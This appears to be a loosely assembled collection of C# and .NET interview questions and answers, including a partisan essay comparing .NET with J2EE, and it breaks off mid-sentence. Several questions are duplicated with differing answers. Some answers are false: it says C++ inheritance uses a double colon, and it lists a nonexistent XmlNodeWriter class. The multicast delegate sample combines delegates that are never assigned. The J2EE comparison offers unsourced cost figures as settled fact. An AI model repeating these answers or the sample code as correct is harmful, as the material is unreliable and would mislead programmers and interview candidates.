What namespaces are necessary to create a localized application?

System.Globalization, System.Resources.

What does assert() do?

In debug compilation, assert takes in a Boolean condition as a parameter, and shows the error dialog if
the condition is false. The program proceeds without any interruption if the condition is true.

What's the difference between the Debug class and Trace class?

The documentation looks the same. Use the Debug class for debug builds, use the Trace class for both
debug and release builds.

Why are there five tracing levels in System.Diagnostics.TraceSwitcher?

The tracing dumps can be quite verbose and for some applications that are constantly running you run
the risk of overloading the machine and the hard drive there. Five levels range from None to Verbose,
allowing to fine-tune the tracing activities.

Where is the output of TextWriterTraceListener redirected?

To the Console or a text file depending on the parameter passed to the constructor.

What namespaces are necessary to create a localized application?

System.Globalization, System.Resources.

What are three test cases you should go through in unit testing?

Positive test cases (correct data, correct output), negative test cases (broken or missing data, proper
handling) and exception test cases (exceptions are thrown and caught properly).

Can you change the value of a variable while debugging a C# application?

Yes, if you are debugging via Visual Studio.NET then just go to the Immediate window.

What's the implicit name of the parameter that gets passed into the class' set method?

Value, and it's datatype depends on whatever variable we're changing.

How do you inherit from a class in C#?

Place a colon and then the name of the base class. Notice that it's a double colon in C++.

Does C# support multiple inheritance?

No, use interfaces instead.

When you inherit a protected class-level variable, who is it available to?

Derived Classes.

What's the top .NET class that everything is derived from?

System.Object.

How's method overriding different from overloading?

When overriding, you change the method behavior for a derived class. Overloading simply involves
having a method with the same name within the class.

What does the keyword virtual mean in the method definition?

The method can be overridden.

Can you declare the override method static while the original method is non-static?

No, you can't, the signature of the virtual method must remain the same, only the keyword virtual is
changed to keyword override.

Can you override private virtual methods?

No, moreover, you cannot access private methods in inherited classes, you need to be protected in the
base class to allow any sort of access.

Can you prevent your class from being inherited and becoming a base class for some other classes?

Yes, that's what the keyword sealed in the class definition is for. The developer trying to derive from your
class will get a message: cannot inherit from Sealed class WhateverBaseClassName. It's the same concept
as final class in Java.

Can you allow a class to be inherited, but prevent the method from being overridden?

Yes, just leave the class public and make the method sealed.

Why can't you specify the accessibility modifier for methods inside the interface?

They all must be public. Therefore, to prevent you from getting the false impression that you have any
freedom of choice, you are not allowed to specify any accessibility, it's public by default.

Can you inherit multiple interfaces?

Yes, why not?

And if they have conflicting method names?

It's up to you to implement the method inside your own class, so implementation is left entirely up to you.
This might cause a problem on a higher-level scale if similarly named methods from different interfaces
expect different data, but as far as the compiler cares you're okay.

What's the difference between an interface and abstract class?

In the interface all methods must be abstract, in the abstract class some methods can be concrete. In the
interface no accessibility modifiers are allowed, which is ok in abstract classes.

How can you overload a method?

Different parameter data types, different number of parameters, different order of parameters.

If a base class has a bunch of overloaded constructors and an inherited class has another bunch of
overloaded constructors, can you enforce a call from an inherited constructor to an arbitrary base
constructor?

Yes, just place a colon, and then the keyword base (parameter list to invoke the appropriate constructor)
in the overloaded constructor definition inside the inherited class.

What's the difference between the System.String and System.StringBuilder classes?

System.String is immutable, System.StringBuilder was designed for the purpose of having a mutable string
where a variety of operations can be performed.

Does C# support multiple-inheritance?

No, use interfaces instead.

When you inherit a protected class-level variable, who is it available to?

The derived class.

Are private class-level variables inherited?

Yes, but they are not accessible. Although they are not visible or accessible via the class interface, they are
inherited.

Describe the accessibility modifier "protected internal".

It is available to derived classes and classes within the same Assembly (and naturally from the base class
it's declared in).

What's the top .NET class that everything is derived from?

System.Object.

What's the advantage of using System.Text.StringBuilder over System.String?

StringBuilder is more efficient in cases where there is a large amount of string manipulation. Strings are
immutable, so each time it's being operated on, a new instance is created.

Can you store multiple data types in System.Array?

No.

What's the .NET class that allows the retrieval of a data element using a unique key?

HashTable.

Will the finally block get executed if an exception has not occurred?

Yes.

What's an abstract class?

A class that cannot be instantiated. An abstract class is a class that must be inherited and have the
methods overridden. An abstract class is essentially a blueprint for a class without any implementation.

When do you absolutely have to declare a class as abstract?
1. When at least one of the methods in the class is abstract.
2. When the class itself is inherited from an abstract class, but not all base abstract methods have
been overridden.
What's an interface?

It's an abstract class with public abstract methods all of which must be implemented in the inherited
classes.

Why can't you specify the accessibility modifier for methods inside the interface?

They all must be public. Therefore, to prevent you from getting the false impression that you have any
freedom of choice,
you are not allowed to specify any accessibility, it's public by default.

What's the difference between an interface and abstract class?

In an interface class, all methods must be abstract. In an abstract class some methods can be concrete. In
an interface class, no accessibility modifiers are allowed, which is ok in an abstract class.

How is method overriding different from method overloading?

When overriding a method, you change the behavior of the method for the derived class. Overloading a
method simply involves having another method with the same name within the class.

Can you declare an override method to be static if the original method is non-static?

No. The signature of the virtual method must remain the same, only the keyword virtual is changed to
keyword override.

Can you override private virtual methods?

No. Private methods are not accessible outside the class.

Can you write a class without specifying a namespace? Which namespace does it belong to by
default?

Yes, you can, then the class belongs to the global namespace that has no name. For commercial products,
naturally, you wouldn't want the global namespace.

What is a formatter?

A formatter is an object that is responsible for encoding and serializing data into messages on one end,
and deserializing and decoding messages into data on the other end.

Differences between .NET and J2EE

Differences between J2EE and the .NET Platform

Vendor Neutrality

The .NET platform is not vendor neutral, it is tied to the Microsoft operating systems. But neither are any
of the J2EE implementations.
Many companies buy into J2EE believing that it will give them vendor neutrality. And, in fact, this is a
stated goal of Sun's vision:
A wide variety of J2EE product configurations and implementations, all of that meet the requirements of
this specification, are possible. A portable J2EE application will function correctly when successfully
deployed in any of these products. (ref: Java 2 Platform Enterprise Edition Specification, v1.3, page 2-7
available athttp://java.sun.com/j2ee/)

Overall Maturity

Since the .NET platform has a three year lead over the J2EE, it should be no surprise to learn that the .NET
platform is far more mature than the J2EE platform. We have high volume and highly reliable web sites
using .NET technologies (NASDAQ and Dell being among many examples).

Interoperability and Web Services

The .NET platform eCollaboration model is, as I have discussed at length, based on the UDDI and SOAP
standards. These standards are widely supported by more than 100 companies. Microsoft, along with IBM
and Ariba, are the leaders in this area. Sun is a member of the UDDI consortium and recognizes the
importance of the UDDI standards. In a recent press release, Sun's George Paolini, Vice President for the
Java Community Development, says:
"Sun has always worked to help establish and support open, standards-based technologies that facilitate
the growth of network-based applications, and we see UDDI as an important project to establish a registry
framework for business-to-business e-commerce
But while Sun publicly says it believes in the UDDI standards, in reality, Sun has done nothing whatsoever
to incorporate any of the UDDI standards into J2EE.

Scalability

The following is a typical comparision of w.r.t Systems and their costs.

J2EE

Company System Total Sys. Cost
Bull Escala T610 c/s 16,785 $1,980,179
IBM RS/6000 Enterprise Server F80 16,785 $2,026,681
Bull Escala EPC810 c/s 33,375 $3,037,499
IBM RS/6000 Enterprise Server M80 33,375 $3,097,055
Bull Escala EPC2450 110,403 $9,563,263
IBM IBM eServer pSeries 680 Model 7017-S85 110,403 $9,560,594


.NET platform systems

Company System Total Sys. Cost

Dell PowerEdge 4400 16,263 $273,487
Compaq ProLiant ML-570-6/700-3P 20,207 $201,717
Dell PowerEdge 6400 30, 231 $334,626
IBM Netfinity 7600 c/s 32,377 $443,463
Compaq ProLiant 8500-X550-64P 161,720 $3,534,272
Compaq ProLiant 8500-X700-64P 179,658 $3,546,582
Compaq ProLiant 8500-X550-96P 229,914 $5,305,571
Compaq ProLiant 8500-X700-96P 262,244 $5,305,571
Compaq ProLiant 8500-700-192P 505,303 $10,003,826

Framework Support

The .NET platform includes an eCommerce framework called Commerce Server. At this point, there is no
equivalent vendor-neutral framework in the J2EE space. With J2EE, you should assume that you will be
building your new eCommerce solution from scratch.
Moreover, no matter what [J2EE] vendor you choose, if you expect a component framework that will allow
you to quickly field complete e-business applications, you are in for a frustrating experience.

Language

In the language arena, the choice is about as simple as it gets. J2EE supports Java, and only Java. It will not
support any other language in the foreseeable future. The .NET platform supports every language except
Java (although it does support a language that is syntactically and functionally equivalent to Java, C#). In
fact, given the importance of the .NET platform as a language independent vehicle, it is likely that any
language that comes out in the near future will include support for the .NET platform.

Some companies are under the impression that J2EE supports other languages. Although both IBM's
WebSphere and BEA's WebLogic support other languages, neither does it through their J2EE technology.
There are only two official ways in the J2EE platform to access other languages, one through the Java
Native Interface and the other through CORBA interoperability. Sun recommends the later approach. As
Sun's Distinguished Scientist and Java Architect Rick Cattell said in a recent interview.

Portability

The reason that operating system portability is a possibility with J2EE is not so much because of any
inherent portability of J2EE, as it is that most of the J2EE vendors support multiple operating systems.
Therefore as long as one sticks with a given J2EE vendor and a given database vendor, moving from one
operating system to another should be possible. This is probably the single most important benefit in
favor of J2EE over the .NET platform, that is limited to the Windows operating system. It is worth noting,
however, that Microsoft has submitted the specifications for C# and a subset of the .NET Framework
(called the Common Language Infrastructure) to ECMA, the group that standardizes JavaScript.

J2EE offers an acceptable solution to ISVs when the product must be marketed to non-Windows
customers, particularly when the J2EE platform itself can be bundled with the ISV's product as an
integrated offering.
If the primary customer base for the ISV is Windows customers then the .NET platform should be chosen.
It will provide much better performance at a much lower cost.

Client device independence

The major difference is that with Java, it is the presentation tier programmer that determines the ultimate
HTML that will be delivered to the client, and with .NET, it is a Visual Studio.NET control.

This Java approach has three problems. First, it requires a lot of code on the presentation tier, since every
possible thin client system requires a different code path. Second, it is very difficult to test the code with
every possible thin client system. Third, it is very difficult to add new thin clients to an existing application,
since to do so involves searching through, and modifying a tremendous amount of presentation tier logic.

The .NET Framework approach is to write device independent code that interacts with visual controls. It is
the control, not the programmer, that is responsible for determining what HTML to deliver, based on the
capabilities of the client device.. In the .NET Framework model, one can forget that such a thing as HTML
even exists!

Conclusion

Sun's J2EE vision is based on a family of specifications that can be implemented by many vendors. It is
open in the sense that any company can license and implement the technology, but closed in the sense
that it is controlled by a single vendor, and a self-contained architectural island with very limited ability to
interact outside of itself. One of J2EE's major disadvantages is that the choice of the platform dictates the
use of a single programming language, and a programming language that is not well suited for most
businesses. One of J2EE's major advantages is that most of the J2EE vendors do offer operating system
portability.

Microsoft's .NET platform vision is a family of products rather than specifications, with specifications used
primarily to define points of interoperability. The major disadvantage of this approach is that it is limited
to the Windows platform, so applications written for the .NET platform can only be run on .NET platforms.
Their are several important advantages to the .NET platform:
The cost of developing applications is much lower, since standard business languages can be
used and device independent presentation tier logic can be written.
The cost of running applications is much lower, since commodity hardware platforms (at 1/5 the
cost of their Unix counterparts) can be used.
The ability to scale up is much greater, with the proven ability to support at least ten times the
number of clients any J2EE platform has shown itself able to support.
Interoperability is much stronger, with industry standard eCollaboration built into the platform.
What are the Main Features of .NET platform?

The following are the features of the .NET Platform.

Common Language Runtime

Explains the features and benefits of the Common Language Runtime, a run-time environment that manages the
execution of code and provides services that simplify the development process.

Assemblies

Defines the concept of assemblies, that are a collections of types and resources that form logical units of
functionality. Assemblies are the fundamental units of deployment, version control, reuse, activation scoping, and
security permissions.

Application Domains

Explains how to use application domains to provide isolation between applications.

Runtime Hosts

Describes the runtime hosts supported by the .NET Framework, including ASP.NET, Internet Explorer, and shell
executables.

Common Type System

Identifies the types supported by the Common Language Runtime.

Metadata and Self-Describing Components

Explains how the .NET Framework simplifies component interoperation by allowing compilers to emit additional
declarative information, or metadata, into all modules and assemblies.

Cross-Language Interoperability

Explains how managed objects created in various programming languages can interact with one another.

.NET Framework Security

Describes mechanisms for protecting resources and code from unauthorized code and unauthorized users.

.NET Framework Class Library

Introduces the library of types provided by the .NET Framework, that expedites and optimizes the development
process and gives you access to system functionality.

What is the use of JIT ?

Just- In-Time (JIT) is a compiler that converts MSIL code to Native Code (in other words, CPU-specific code that
runs on the same computer architecture).

Because the Common Language Runtime supplies a JIT compiler for each supported CPU architecture, developers
can write a set of MSIL that can be JIT-compiled and run on computers with various architectures. However, your
managed code will run only on a specific operating system if it calls platform-specific native APIs, or a platform-
specific class library.

JIT compilation takes into account the fact that some code might never get called during execution. Rather than
using time and memory to convert all the MSIL in a Portable Executable (PE) file to native code, it converts the
MSIL as needed during execution and stores the resulting native code so that it is accessible for subsequent calls.
The loader creates and attaches a stub to each of a type's methods when the type is loaded. On the initial call to the
method, the stub passes control to the JIT compiler, that converts the MSIL for that method into native code and
modifies the stub to direct execution to the location of the native code. Subsequent calls of the JIT-compiled method
proceed directly to the native code that was previously generated, reducing the time it takes to JIT-compile and run
the code.

Assembly and Global Assembly Cache (GAC) and Metadata

Assembly: An assembly is the primary building block of a .NET based application. It is a collection of functionality
that is built, versioned, and deployed as a single implementation unit (as one or more files). All managed types and
resources are marked either as accessible only within their implementation unit, or as accessible by code outside that
unit. It overcomes the problem of "DLL Hell".The .NET Framework uses assemblies as the fundamental unit for
several purposes:
Security
Type Identity
Reference Scope
Versioning
Deployment
Global Assembly Cache: Assemblies can be shared among multiple applications on the machine by
registering them in the Global Assembly Cache (GAC). The GAC is a machine wide local cache of
assemblies maintained by the .NET Framework. We can register the assembly to the Global Assembly
Cache using the gacutil command.

We can navigate to the GAC directory, "C:\winnt\Assembly", in Windows Explorer. In the tools menu select
the cache properties; in the windows displayed you can set the memory limit in MB used by the GAC

MetaData: Assemblies have Manifests. This Manifest contains Metadata information of the
Module/Assembly as well as detailed Metadata of other assemblies/modules referenced (exported). It's
the Assembly Manifest that differentiates between an Assembly and a Module.

What are the mobile devices supported by the .Net platform

The Microsoft .NET Compact Framework is designed to run on mobile devices such as mobile phones,
Personal Digital Assistants (PDAs), and embedded devices. The easiest way to develop and test a Smart
Device Application is to use an emulator.
These devices are divided into the following two main divisions:
1. Those that are directly supported by .NET (Pocket PCs, i-Mode phones, and WAP devices)
2. Those that are not (Palm OS and J2ME-powered devices).
What are GUIDs and why and where do we use them?

GUID is an acronym for Globally Unique Identifier, a unique 128-bit number produced by the Windows OS
or by some Windows applications to identify a specific component, application, file, database entry,
and/or user. For instance, a Web site may generate a GUID and assign it to a user's browser to record and
track the session. A GUID is also used in a Windows registry to identify COM DLLs. Knowing where to look
in the registry and having the correct GUID yields a lot information about a COM object (in other words,
information in the type library, its physical location, and so on). Windows also identifies user accounts by a
username (computer/domain and username) and assigns it a GUID. Some database administrators even
will use GUIDs as primary key values in databases.

GUIDs can be created in a number of ways, but usually they are a combination of a few unique settings
based on a specific point in time (for example, an IP address, network MAC address, clock date/time, and
so on).

Describe the difference between inline and code behind; which is best in a loosely coupled solution

ASP.NET supports two modes of page development: Page logic code that is written inside
<runat="server"> blocks within an .aspx file and dynamically compiled the first time the page is requested
on the server. Page logic code that is written within an external class that is compiled prior to deployment
on a server and linked "behind" the .aspx file at run time.

Whats MSIL, and why should my developers need an appreciation of it if at all?

When compiling the source code to managed code, the compiler translates the source into Microsoft
Intermediate Language (MSIL). This is a CPU-independent set of instructions that can efficiently be
converted to native code. Microsoft Intermediate Language (MSIL) is a translation used as the output of a
number of compilers. It is the input to a Just-In-Time (JIT) compiler. The Common Language Runtime
includes a JIT compiler for the conversion of MSIL to native code.

Before Microsoft Intermediate Language (MSIL) can be executed, it must be converted by the .NET
Framework Just-In-Time (JIT) compiler to native code. This is CPU-specific code that runs on the same
computer architecture as the JIT compiler. Rather than using time and memory to convert all of the MSIL
in a Portable Executable (PE) file to native code, it converts the MSIL as needed during execution, then
caches the resulting native code so its accessible for any subsequent calls.

How many .NET languages can a single .NET DLL contain?

One

What type of code (server or client) is found in a Code-Behind class?

Server

What's an assembly?

Assemblies are the building blocks of .NET Framework applications; they form the fundamental unit of
deployment, version control, reuse, activation scoping, and security permissions. An assembly is a
collection of types and resources that are built to work together and form a logical unit of functionality.
An assembly provides the Common Language Runtime with the information it needs to be aware of type
implementations. To the runtime, a type does not exist outside the context of an assembly.

How many classes can a single .NET DLL contain?

Unlimited.

What is the difference between string and String ?

No difference.

What is manifest?
It is the metadata that describes the assemblies.

What is metadata?

Metadata is machine-readable information about a resource, or "data about data". Such information
might include details on content, format, size, or other characteristics of a data
source. In .NET, metadata includes type definitions, version information, external assembly references, and
other standardized information.

What are the types of assemblies?

The following are the four types of assemblies in .NET.

Static assemblies

These are the .NET PE files that you create at compile time.

Dynamic assemblies

These are PE-formatted, in-memory assemblies that you dynamically create at runtime using the classes in
the System.Reflection.Emit namespace.

Private assemblies

These are static assemblies used by a specific application.

Public or shared assemblies

These are static assemblies that must have a unique shared name and can be used by any application.

An application uses a private assembly by referring to the assembly using a static path or through an
XML-based application configuration file. While the CLR doesn't enforce versioning policies, in other
words checking whether the correct version is used, for private assemblies, it ensures that an application
uses the correct shared assemblies with which the application was built. Thus, an application uses a
specific shared assembly by referring to the specific shared assembly, and the CLR ensures that the correct
version is loaded at runtime.
In .NET, an assembly is the smallest unit of which you can associate a version number;

What are delegates?where are they used?

A delegate defines a reference type that encapsulates a method with a specific signature. A delegate
instance encapsulates a static or an instance method. Delegates are roughly similar to function pointers in
C++; however, delegates are type-safe and secure.

When to you use the virutal keyword?

When we need to override a method of the base class in the sub class, then we provide the virtual
keyword in the base class method. This makes the method in the base class overridable. Methods,
properties, and indexers can be virtual, which means that their implementation can be overridden in
derived classes.

What are class access modifiers?

Access modifiers are keywords specifying the declared accessibility of a member or a type. This section
introduces the four access modifiers:
Public: Access is not restricted.
Protected: Access is limited to the containing class or types derived from the containing class.
Internal: Access is limited to the current assembly.
Protected intetnal: Access is limited to the current assembly or types derived from the containing
class.
Private: Access is limited to the containing type.
What Is Boxing And Unboxing?

Boxing: Boxing is an implicit conversion of a value type to the type object type.

For example, consider the following declaration of a value-type variable:

int i = 123;
object o = (object) i;

Boxing Conversion

UnBoxing: Unboxing is an explicit conversion from the type object to a value type.

For example:

int i = 123; // A value type
object box = i; // Boxing
int j = (int)box; // Unboxing

What is value type and refernce type in .Net?.

Value Type: A variable of a value type always contains a value of that type. The assignment to a variable of a value
type creates a copy of the assigned value, while the assignment to a variable of a reference type creates a copy of the
reference but not of the referenced object.
The value types consist of the following two main categories:
Struct Type
Enumeration Type
Reference Type: Variables of reference types, referred to as objects, store references to the actual data.
This section introduces the following keywords used to declare reference types:
Class
Interface
Delegate
This section also introduces the following built-in reference types:
object
string
Note: A few of the references are taken from other sites/sources.

What is the difference between structures and enumerations?

Unlike classes, structs are value types and do not require heap allocation. A variable of a struct type
directly contains the data of the struct, whereas a variable of a class type contains a reference to the data.
They are derived from the System.ValueType class.
An enum type is a distinct type that declares a set of named constants. They are strongly-typed constants.
They are unique types that allow declaration of symbolic names with integral values. Enums are value
types, which means they contain their own value, can't inherit or be inherited from and assignments copy
the value of one enum to another.

public enum Grade
{
A,
B,
C
}

What are namespaces?

A namespace is a logical naming scheme for group related types. Some class types that logically belong
together can be put into a common namespace. They prevent namespace collisions and they provide
scoping. They are imported as "using" in C# or "Imports" in Visual Basic. It seems as if these directives
specify a specific assembly, but they don't. A namespace can span multiple assemblies, and an assembly
can define multiple namespaces. When the compiler needs the definition for a class type, it tracks through
each of the various imported namespaces to the type name and searches each referenced assembly until
it is found.

Namespaces can be nested. This is very similar to packages in Java as far as scoping is concerned.

How do you create shared assemblies?

Just look through the definition of Assemblies..
An Assembly is a logical unit of code
Assembly physically exist as DLLs or EXEs
One assembly can contain one or more files
The constituent files can include any file types like image files, text files and so on. along with
DLLs or EXEs
When you compile your source code by default the exe/DLL generated is actually an assembly
Unless your code is bundled as assembly it can not be used in any other application
When you talk about version of a component you are actually talking about version of the
assembly to which the component belongs.
Every assembly file contains information about itself. This information is called as Assembly
Manifest.
Following steps are involved in creating shared assemblies:
Create your DLL/EXE source code
Generate unique assembly name using SN utility
Sign your DLL/EXE with the private key by modifying AssemblyInfo file
Compile your DLL/EXE
Place the resultant DLL/EXE in Global Assembly Cache using AL utility
What is Global Assembly Cache?

Each computer where the Common Language Runtime is installed has a machine-wide code cache called
the Global Assembly Cache. The Global Assembly Cache stores assemblies specifically designated to be
shared by several applications on the computer.
There are several ways to deploy an assembly into the Global Assembly Cache:
Use an installer designed to work with the Global Assembly Cache. This is the preferred option for
installing assemblies into the Global Assembly Cache.
Use a developer tool called the Global Assembly Cache tool (Gacutil.exe), provided by the .NET
Framework SDK.
Use Windows Explorer to drag assemblies into the cache.
What is MSIL?

When compiling to managed code, the compiler translates your source code into Microsoft Intermediate
Language (MSIL), which is a CPU-independent set of instructions that can be efficiently converted to
native code. MSIL includes instructions for loading, storing, initializing, and calling methods on objects, as
well as instructions for arithmetic and logical operations, control flow, direct memory access, exception
handling, and other operations. Before code can be run, MSIL must be converted to CPU-specific code,
usually by a Just-In-Time (JIT) compiler. Because the Common Language Runtime supplies one or more JIT
compilers for each computer architecture it supports, the same set of MSIL can be JIT-compiled and run
on any supported architecture.

When a compiler produces MSIL, it also produces metadata. Metadata describes the types in your code,
including the definition of each type, the signatures of each type's members, the members that your code
references, and other data that the runtime uses at execution time. The MSIL and metadata are contained
in a Portable Executable (PE) file that is based on and extends the published Microsoft PE and common
object file format (COFF) used historically for executable content. This file format, that accommodates
MSIL or native code as well as metadata, enables the operating system to recognize Common Language
Runtime images. The presence of metadata in the file along with the MSIL enables your code to describe
itself, that means that there is no need for type libraries or Interface Definition Language (IDL). The
runtime locates and extracts the metadata from the file as needed during execution.

What is Jit compilers?.how many are available in clr?

Just-In-Time compiler- it converts the language that you write in .Net into machine language that a
computer can understand. there are tqo types of JITs one is memory optimized and other is performace
optimized.

What is tracing?Where it used.Explain few methods available

Tracing refers to collecting information about the application while it is running. You use tracing
information to troubleshoot an application.

Tracing allows us to observe and correct programming errors. Tracing enables you to record information
in various log files about the errors that might occur at run time. You can analyze these log files to find
the cause of the errors.

In .NET we have objects called Trace Listeners. A listener is an object that receives the trace output and
outputs it somewhere; that somewhere could be a window in your development environment, a file on
your hard drive, a Windows Event log, a SQL Server or Oracle database, or any other customized data
store.

The System.Diagnostics namespace provides the interfaces, classes, enumerations and structures that are
used for tracing The System.Diagnostics namespace provides two classes named Trace and Debug that
are used for writing errors and application execution information in logs.

All Trace Listeners have the following functions. Functionality of these functions is same except that the
target media for the tracing output is determined by the Trace Listener.

Method Name

Result Fail Outputs the specified text with the Call Stack.

Write Outputs the specified text.

WriteLine Outputs the specified text and a carriage return.

Flush Flushes the output buffer to the target media.

Close Closes the output stream in order to not receive the tracing/debugging output.

How to set the debug mode?

Debug Mode for ASP.NET applications - To set ASP.NET appplication in debugging mode, edit the
application's web.config and assign the "debug" attribute in < compilation > section to "true" as show
below:

< configuration >
< system.web >
< compilation defaultLanguage="vb" debug="true" / >
....
...
..
< / configuration >

This case-sensitive attribute "debug tells ASP.NET to generate symbols for dynamically generated files and
enables the

debugger to attach to the ASP.NET application. ASP.NET will detect this change automatically, without the
need to restart the server. Debug Mode for ASP.NET Webservices, Debugging an XML Web service
created with ASP.NET is similar to the debugging an ASP.NET Web application.

What is the property available to check if the page posted or not?

The Page_Load event handler in the page checks for IsPostBack property value, to ascertain whether the
page is posted. The Page.IsPostBack gets a value indicating whether the page is being loaded in response
to the client postback, or it is for the first time. The value of Page.IsPostBack is True, if the page is being
loaded in response to the client postback; while its value is False, when the page is loaded for the first
time. The Page.IsPostBack property facilitates execution of certain routine in Page_Load, only once (for for
example in Page load, we need to set default value in controls, when page is loaded for the first time. On
post-back, we check for true value for IsPostback value and then invoke server-side code to update data).

What are the abstract classes available under system.xml namespace?

The System.XML namespace provides XML related processing ability in .NET framework. XmlReader and
XMLWriter are the two abstract classes at the core of .NET Framework XML classes:
1. XmlReader provides a fast, forward-only, read-only cursor for processing an XML document
stream.
2. XmlWriter provides an interface for producing XML document streams that conform to the W3C's
XML standards.
Both XmlReader and XmlWriter are abstract base classes, that define the functionality that all derived
classes must support.

Is it possible to use multipe inheritance in .net?

Multiple Inheritance is an ability to inherit from more than one base class in other words ability of a class
to have more than one superclass, by inheriting from different sources and thus combine separately-
defined behaviors in a single class. There are two types of multiple inheritance: multiple type/interface
inheritance and multiple implementation inheritance. C# and VB.NET supports only multiple
type/interface inheritance, in other words
you can derive an class/interface from multiple interfaces. There is no support for multiple
implementation inheritance in .NET. That means a class can only derived from one class.

What are the derived classes from xmlReader and xmlWriter?

Both XmlReader and XmlWriter are abstract base classes, that define the functionality that all derived
classes must support.

There are three concrete implementations of XmlReader:
1. XmlTextReader
2. XmlNodeReader
3. XmlValidatingReader
There are two concrete implementations of XmlWriter:
1. XmlTextWriter
2. XmlNodeWriter
XmlTextReader and XmlTextWriter support reading data to/from text-based stream, while
XmlNodeReader and XmlNodeWriter are designed for working with in-memory DOM tree structure. The
custom readers and writers can also be developed to extend the built-in functionality of XmlReader and
XmlWriter.

What is managed and unmanaged code?

The .NET framework provides several core run-time services to the programs that run within it, for
example exception handling and security. For these services to work, the code must provide a minimum
level of information to the runtime. in other words., code executing under the control of the CLR is called
managed code. For example, any code written in C# or Visual Basic .NET is managed code.

Code that runs outside the CLR is referred to as "unmanaged code." COM components, ActiveX
components, and Win32 API functions are examples of unmanaged code.
How you deploy .NET assemblies?
One way is simply use xcopy. others are use and the setup projects in .net. and one more way is use of
nontuch deployment.

What is Globalizationa and Localization ?

Globalization is the process of creating an application that meets the needs of users from multiple
cultures. It includes using the correct currency, date and time format, calendar, writing direction, sorting
rules, and other issues. Accommodating these cultural differences in an application is called
localization.Using classes of System.Globalization namespace, you can set application's current culture.

This can be done by using any of the following 3 approaches.
1. Detect and redirect
2. Run-time adjustment
3. Using Satellite assemblies.
Whate are Resource Files ? How are they used in .NET?

Resource files are the files containing data that is logically deployed with an application.These files can
contain data in a number of formats including strings, images and persisted objects. It has the main
advantage of If we store data in these files then we don't need to compile these if the data get changed.
In .NET we basically require them storing culture specific informations by localizing application's
resources. You can deploy your resources using satellite assemblies.

Difference between Dispose and Finallize method?

Finalize method is used to free the memory used by some unmanaged resources like window handles
(HWND). It's similar to the destructor syntax in C#. The GC calls this method when it founds no more
references to the object. But, In some cases we may need release the memory used by the resources
explicitely.To release the memory explicitly we need to implement the Dispose method of IDisposable
interface.

What is encapsulation ?

Encapsulation is the ability to hide the internal workings of an object's behavior and its data. For instance,
let's say you have a object named Bike and this object has a method named start(). When you create an
instance of a Bike object and call its start() method you are not worried about what happens to
accomplish this, you just want to ensure the state of the bike is changed to "running" afterwards. This kind
of behavior hiding is encapsulation and it makes programming much easier.

How can you prevent your class to be inherated further?

By setting Sealed - Key word
public sealed class Planet
{
//code goes here
}
class Moon : Planet
{
//Not allowed as base class is sealed
}

What is GUID and why we need to use it and in what condition? How this is created.

A GUID is a 128-bit integer (16 bytes) that can be used across all computers and networks wherever a
unique identifier is required. Such an identifier has a very low probability of being duplicated. Visual
Studio .NET IDE has a utility under the tools menu to generate GUIDs.

Why do you need to serialize.?

We need to serialize the object,if you want to pass object from one computer/application domain to
another.Process of converting complex objects into stream of bytes that can be persisted or
transported.Namespace for serialization is System.Runtime.Serialization.The ISerializable interface allows
you to make any class Serializable..NET framework features 2 serializing method.

1. Binary Serialization 2. XML Serialization

What is inline schema, how does it works?

Schemas can be included inside of XML file is called Inline Schemas.This is useful when it is inconvenient
to physically seprate the schema and the XML document.A schema is an XML document that defines the
structure, constraints, data types, and relationships of the elements that constitute the data contained
inside the XML document or in another XML document.Schema can be an external file that uses the XSD
or XDR extension called external schema. Inline schema can take place even when validation is turned off.

Describe the advantages of writing a managed code application instead of unmanaged one. What's
involved in certain piece of code being managed?

"Advantage includes automatic garbage collection,memory management,security,type
checking,versioning

Managed code is compiled for the .NET run-time environment. It runs in the Common Language Runtime
(CLR), which is the heart of the .NET Framework. The CLR provides services such as security,
memory management, and cross-language integration. Managed applications written to take advantage
of the features of the CLR perform more efficiently and safely, and take better advantage of developers
existing expertise in languages that support the .NET Framework.
Unmanaged code includes all code written before the .NET Framework was introducedthis includes
code written to use COM, native Win32, and Visual Basic 6. Because it does not run inside the .NET
environment, unmanaged code cannot make use of any .NET managed facilities."

What are multicast delegates ? give me an example ?

Delegate that can have more than one element in its invocation List.

using System;
namespace SampleMultiCastDelegate
{
class MultiCast
{
public delegate string strMultiCast(string s);
}
}

MainClass defines the static methods having same signature as delegate.

using System;
namespace SampleMultiCastDelegate
{

public class MainClass
{
public MainClass()
{
}
public static string Jump(string s)
{
Console.WriteLine("Jump");
return String.Empty;
}
public static string Run(string s)
{
Console.WriteLine("Run");
return String.Empty;
}
public static string Walk(string s)
{
Console.WriteLine("Walk");
return String.Empty;
}
}
}

The Main class:

using System;
using System.Threading;
namespace SampleMultiCastDelegate
{

public class MainMultiCastDelegate
{
public static void Main()
{
MultiCast.strMultiCast Run, Walk, Jump;
MultiCast.strMultiCast myDelegate;
///here mydelegate used the Combine method of System.MulticastDelegate
///and the delegates combine
myDelegate = (MultiCast.strMultiCast)System.Delegate.Combine(Run, Walk);
}
}
}

Can a nested object be used in Serialization ?

Yes. If a class that is to be serialized contains references to objects of other classes, and if those classes
have been marked as serializable, then their objects are serialized too.

Difference between int and int32 ?

Both are same. System.Int32 is a .NET class. Int is an alias name for System.Int32.

Describe the difference between a Thread and a Process?

A Process is an instance of an running application. And a thread is the Execution stream of the Process. A
process can have multiple Thread.

When a process starts a specific memory area is allocated to it. When there is multiple thread in a process,
each thread gets a memory for storing the variables in it and plus they can access to the global variables
that is common for all the thread. Eg.A Microsoft Word is a Application. When you open a Word file,an
instance of the Word starts and a process is allocated to this instance that has one thread.

What is the difference between an EXE and a DLL?

You can create an objects of DLL but not of the EXE.

DLL is an In-Process Component whereas EXE is an OUt-Process Component.

Exe is for single use whereas you can use DLL for multiple use.

Exe can be started as standalone where DLL cannot be.

What is strong-typing versus weak-typing? Which is preferred? Why?

Strong typing implies that the types of variables involved in operations are associated to the variable,
checked at compile-time, and require explicit conversion; weak typing implies that they are associated to
the value, checked at run-time, and are implicitly converted as required. (Which is preferred is a disputable
point, but I personally prefer strong typing because I like my errors to be found as soon as possible.)

What is a PID? How is it useful when troubleshooting a system?

PID is the process Id of the application in Windows. Whenever a process starts running in the Windows
environment, it is associated with an individual process Id or PID.
The PID (Process ID) a unique number for each item on the Process Tab, Image Name list. How do you get
the PID to appear? In Task Manger, select the View menu, then select columns and check PID (Process
Identifier).
In Linux, PID is used to debug a process explicitly. However we cannot do this in a windows environment.

Microsoft has launched a SDK called as Microsoft Operations Management (MOM). This uses the PID to
determine which DLL's have been loaded by a process in the memory. This is essentially helpful in
